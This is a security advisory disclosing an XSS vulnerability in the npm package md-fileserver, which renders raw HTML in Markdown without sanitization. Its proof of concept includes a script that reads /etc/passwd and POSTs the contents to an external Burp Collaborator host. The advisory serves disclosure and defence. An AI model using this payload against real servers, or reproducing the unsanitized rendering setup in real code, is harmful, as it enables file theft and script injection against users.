md-fileserver: Stored/Reflected XSS when viewing Markdown (raw HTML allowed)
Date: 2026-05
Affected: npm/md-fileserver
Attack vector: xss
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-46492
CWE: CWE-80
CWE-87
CVSS: 7.2 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N)

### Summary A cross-site scripting (XSS) vulnerability exists in the application’s Markdown rendering logic. When user-supplied Markdown content is rendered, embedded raw HTML—including <script> tags—is processed and injected into the resulting page without sanitization, allowing arbitrary JavaScript execution in the context of the affected domain. ### Details An attacker can craft malicious Markdown content containing <script> tags or event handlers (e.g., <img onerror=...>). When this Markdown is viewed or previewed, the embedded JavaScript executes in the victim’s browser. ### Vulnerable Components config.js → markdownIt: { html: true } (Lines 26–30) The Markdown renderer is explicitly configured to allow raw HTML. lib/markd.js (Lines 33–58) Renders Markdown content without sanitizing HTML, allowing unsafe tags and attributes to remain in the output. lib/pages/template.html The rendered Markdown is injected into the HTML template using <%= markdown %> without sanitization or output encoding. ### PoC Create a pwn.md ``` # Hello <script> fetch('/etc/passwd', { credentials: 'include' }) .then(r => r.text()) .then(t => fetch('https://79evxsw3m08qfyvxluebgl0pyg47szgo.oastify.com/exfil', { method: 'POST', body: t })); </script> ``` Open it on browser. <img width="944" height="238" alt="image" src="https://github.com/user-attachments/assets/cd9e1396-9f4b-4a4b-bc2a-d7530c0c00ac" /> View the HTTP request in Burp Collaborator. <img width="1328" height="468" alt="im


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